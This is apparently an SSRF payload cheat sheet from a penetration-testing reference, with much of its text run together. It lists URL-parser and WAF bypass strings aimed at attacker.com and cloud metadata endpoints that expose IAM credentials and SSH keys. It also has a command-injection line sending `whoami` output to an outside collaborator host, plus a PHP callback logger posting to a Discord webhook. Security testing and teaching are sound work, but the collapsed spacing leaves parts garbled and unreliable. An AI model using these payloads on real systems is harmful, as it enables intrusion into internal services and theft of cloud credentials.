https:attacker.comhttps:/attacker.comhttp:/\\/\\attacker.comhttps:/\\attacker.com//attacker.com\\/\\/attacker.com//\\/attacker.com//attacker.com%0D%0A/attacker.com#attacker.com#%20@attacker.com@attacker.com<http://169.254.1698.254\\@attacker.com>attacker%00.comattacker%E3%80%82comattacker。comⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ# Try also to change attacker.com for 127.0.0.1 to try to access localhost# Try replacing https by http# Try URL-encoded characters<https://{domain}@attacker.com>https://{domain}.attacker.com<https://{domain}%6D@attacker.com><https://attacker.com/{domain}><https://attacker.com/?d={domain}><https://attacker.com#{domain}><https://attacker.com>@{domain}<https://attacker.com#@{domain}><https://attacker.com>%23@{domain}<https://attacker.com>%00{domain}<https://attacker.com>%0A{domain}<https://attacker.com?{domain}><https://attacker.com///{domain}><https://attacker.com>\\{domain}/<https://attacker.com>;https://{domain}<https://attacker.com>\\{domain}/<https://attacker.com>\\.{domain}<https://attacker.com/.{domain>}<https://attacker.com>\\@@{domain}<https://attacker.com>:\\@@{domain}<https://attacker.com#\\@{domain}><https://attacker.com>\\anything@{domain}/<https://www.victim.com>(\\u2044)some(\\u2044)path(\\u2044)(\\u0294)some=param(\\uff03)hash@attacker.com# On each IP position try to put 1 attackers domain and the others the victim domain<http://1.1.1.1>&@2.2.2.2#@3.3.3.3/#Parameter pollutionnext={domain}&next=attacker.com# Bypass via open redirect<https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection>
Cloud Meta Data files
## AWS# from <http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories><http://169.254.169.254/latest/user-data><http://169.254.169.254/latest/user-data/iam/security-credentials/>[ROLE NAME]<http://169.254.169.254/latest/meta-data/iam/security-credentials/>[ROLE NAME]<http://169.254.169.254/latest/meta-data/ami-id><http://169.254.169.254/latest/meta-data/reservation-id><http://169.254.169.254/latest/meta-data/hostname><http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key><http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key># AWS - Dirs <http://169.254.169.254/><http://169.254.169.254/latest/meta-data/><http://169.254.169.254/latest/meta-data/public-keys/>## Google Cloud# <https://cloud.google.com/compute/docs/metadata># - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"<http://169.254.169.254/computeMetadata/v1/><http://metadata.google.internal/computeMetadata/v1/><http://metadata/computeMetadata/v1/><http://metadata.google.internal/computeMetadata/v1/instance/hostname><http://metadata.google.internal/computeMetadata/v1/instance/id><http://metadata.google.internal/computeMetadata/v1/project/project-id># Google allows recursive pulls <http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true>## Google# Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)<http://metadata.google.internal/computeMetadata/v1beta1/>## Digital Ocean# <https://developers.digitalocean.com/documentation/metadata/><http://169.254.169.254/metadata/v1.json><http://169.254.169.254/metadata/v1/><http://169.254.169.254/metadata/v1/id><http://169.254.169.254/metadata/v1/user-data><http://169.254.169.254/metadata/v1/hostname><http://169.254.169.254/metadata/v1/region><http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address>## Packetcloud<https://metadata.packet.net/userdata>## Azure# Limited, maybe more exist?# <https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/><http://169.254.169.254/metadata/v1/maintenance>## Update Apr 2017, Azure has more support; requires the header "Metadata: true"# <https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service><http://169.254.169.254/metadata/instance?api-version=2017-04-02><http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text>## OpenStack/RackSpace # (header required? unknown)<http://169.254.169.254/openstack>## HP Helion # (header required? unknown)<http://169.254.169.254/2009-04-04/meta-data/>## Oracle Cloud<http://192.0.0.192/latest/><http://192.0.0.192/latest/user-data/><http://192.0.0.192/latest/meta-data/><http://192.0.0.192/latest/attributes/>## Alibaba<http://100.100.100.200/latest/meta-data/><http://100.100.100.200/latest/meta-data/instance-id><http://100.100.100.200/latest/meta-data/image-id>## Enclosed Alphanumeric<http://⑯⑨>。②⑤④。⑯⑨。②⑤④/<http://⓪ⓧⓐ⑨>。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/SuccessfullybypassedaSSRFWAFbyusingacombinationofIPV6+Unicode.PayloadforMetadatainstances:http://[::ⓕⓕⓕⓕ:①⑥⑨。②⑤④。⑯⑨。②⑤④]:80Checkimagesforresponsedifferencebetween169.254.169.254andtheabovepayloadIshared
# SSRF via Referrer header<https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#ssrf-via-referrer-header># SSRF via SNI data from certificate --> <https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#ssrf-via-sni-data-from-certificate>openssls_client-connecttarget.com:443-servername"internal.host.com"-crlf# Wget File Upload <https://book.hacktricks.xyz/pentesting-web/file-upload#wget-file-upload-ssrf-trick># SSRF with Command Injectionurl=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`# PDFs RenderingIfthewebpageisautomaticallycreatingaPDFwithsomeinformationyouhaveprovided,youcaninsertsomeJSthatwillbeexecutedbythePDFcreatoritself (the server) whilecreatingthePDFandyouwillbeabletoabuseaSSRF.Findmoreinformationhere.<https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf># From SSRF to DoSCreateseveralsessionsandtrytodownloadheavyfilesexploitingtheSSRFfromthesessions.# SSRf PHP Functions
Host this PHP code after editing discord webhook in your server to get notified whenever there is SSRF
<?phpdate_default_timezone_set('Asia/Kolkata'); //Change this if you need to$date =date('Y-m-d H:i:s');$ip_address = $_SERVER['REMOTE_ADDR'];$user_agent = $_SERVER['HTTP_USER_AGENT'];$endpoint = $_SERVER['REQUEST_URI'];$log_message ="**Seems like you have a HIT**\n```Date: $date\t\nIP: $ip_address\t\nUser-Agent: $user_agent\t\nPath: $endpoint```\n";// echo $log_message;echo"<body><h1>Hit Me Harder :) </h1></body>";$webhook_url ="https://discord.com/api/webhooks/10589949/E9uS3k9MxnI5CiIfmtmXHfornTObgZ_xl"; // replace with your webhook URL$message =array("content"=>"$log_message"); // the message you want to send$ch =curl_init($webhook_url);curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));curl_setopt($ch, CURLOPT_POST,1);curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($message));curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_exec($ch);curl_close($ch);?>